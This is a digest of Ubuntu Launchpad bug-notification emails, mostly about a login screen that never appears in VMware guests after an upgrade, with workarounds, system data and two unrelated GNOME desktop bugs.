4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
Thanks Pat. That seems to confirm the 'regression-update' tag here. Although I wouldn't be able to debug and fix the mutter change because I can't reproduce the bug, using VMware. Mine just works :/ It sounds like good progress is being made in the kernel anyway. So I think a fix there would be preferable. Otherwise I would just be hunting for a way to cripple mutter to work around apparent VMware driver bugs. ** Changed in: mutter (Ubuntu Bionic) Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Won't Fix Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHel
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
Daniel, I didn't want to lose sight of your ask in comment #34. I updated to the latest mainstream kernel, and then reverted the mutter packages (as per comment #31). That also fixes the problem. Specifically, this configuration is working for me; uname -a Linux ubuntuvm1 4.15.0-52-generic #56-Ubuntu SMP Tue Jun 4 22:49:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux sudo dpkg --list | grep mutter ii gir1.2-mutter-2:amd64 3.28.3+git20190124-0ubuntu18.04.2amd64GObject introspection data for Mutter ii libmutter-2-0:amd64 3.28.3+git20190124-0ubuntu18.04.2amd64window manager library from the Mutter window manager ii mutter 3.28.3+git20190124-0ubuntu18.04.2amd64lightweight GTK+ window manager ii mutter-common 3.28.3+git20190124-0ubuntu18.04.2all shared files for the Mutter window manager And display resizing also works as expected. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserve
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
Display resizing works as expected on the hwe 4.18 kernel -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832374] Re: Media keys stop working due to missing service file
** Changed in: gnome-settings-daemon Status: New => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-settings-daemon in Ubuntu. https://bugs.launchpad.net/bugs/1832374 Title: Media keys stop working due to missing service file Status in GNOME Settings Daemon: Fix Released Status in gnome-settings-daemon package in Ubuntu: New Bug description: Over the last two releases I've noticed that if you have an audio player such as Clementine running, pause the audio playback and watch a video via VLC or SMPlayer and then close the video player and try to use the media keys again, the following is logged to journald: gsd-media-keys[2607]: Error calling method GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.mpris.MediaPlayer2.smplayer was not provided by any .service files. From what I can see is that a service file is created for the media keys for SMPlayer, when SMPlayer is closed that service file is removed and then media keys are still bound to that service. I get the above output for previous track, stop, play, pause and next track media keys. I do get the following output if neither is SMPlayer or Clementine is running or if Clementine is running and playing audio and SMPlayer is open, but no video is loaded: org.gnome.Shell.desktop[2480]: Window manager warning: Overwriting existing binding of keysym ffb5 with keysym ffb5 (keycode 54). org.gnome.Shell.desktop[2480]: Window manager warning: Overwriting existing binding of keysym 31 with keysym 31 (keycode a-e,12,f,10,11) <-- I collapsed the range into a comma separated list If you re-open SMPlayer and load a video, the media keys work and the GDBus error doesn't occur but the above "Overwriting ..." messages still get logged. Closing SMPlayer again does not restore media keys so that Clementine can handle them. I had SMPlayer running ~17 hours ago. Doing a shell reload doesn't seem to fix this either. I can't really tell if this is an SMPlay/VLC/Video Player issue or actually an issue in GSD, so filing here until someone can reassign to the relevant project. I hit this a while ago, while trying to get some debugging information for a Clementine bug: https://github.com/clementine- player/Clementine/issues/6320 If you need any other information let me know. Thanks ProblemType: Bug DistroRelease: Ubuntu 19.04 Package: gnome-settings-daemon 3.32.0-1ubuntu1 ProcVersionSignature: Ubuntu 5.0.0-16.17-generic 5.0.8 Uname: Linux 5.0.0-16-generic x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CurrentDesktop: GNOME Date: Tue Jun 11 17:36:07 2019 InstallationDate: Installed on 2019-02-01 (129 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20181202) SourcePackage: gnome-settings-daemon UpgradeStatus: Upgraded to disco on 2019-04-09 (63 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-settings-daemon/+bug/1832374/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
Do you have the same display resizing situation with the hwe kernel 4.18 ? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
As a side-effect, I've noticed that display resizing doesn't work the same. I'm unable to resize the display to anything more than 1176 x 885 (4:3) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1723117] Re: Desktop icons goes under the Dock, if the Dock is set to auto-hide.
Can confirm this is still existing in Ubuntu 18.04 gnome-shell-extension-ubuntu-dock: Installed: 0.9.1ubuntu18.04.3 Candidate: 0.9.1ubuntu18.04.3 Version table: *** 0.9.1ubuntu18.04.3 500 500 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu bionic-updates/main i386 Packages 100 /var/lib/dpkg/status 0.9.1 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1723117 Title: Desktop icons goes under the Dock, if the Dock is set to auto-hide. Status in gnome-shell-extension-ubuntu-dock package in Ubuntu: Confirmed Status in nautilus package in Ubuntu: Triaged Bug description: This bug is found in Artful. Desktop icons goes under the Dock, if the Dock is set to auto-hide. Either the Dock should auto-hide on the Desktop as well, or the Desktop Icons should leave a margin with the same size of the Dock. This happen both horizontal and vertical Dock positions. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-ubuntu-dock/+bug/1723117/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
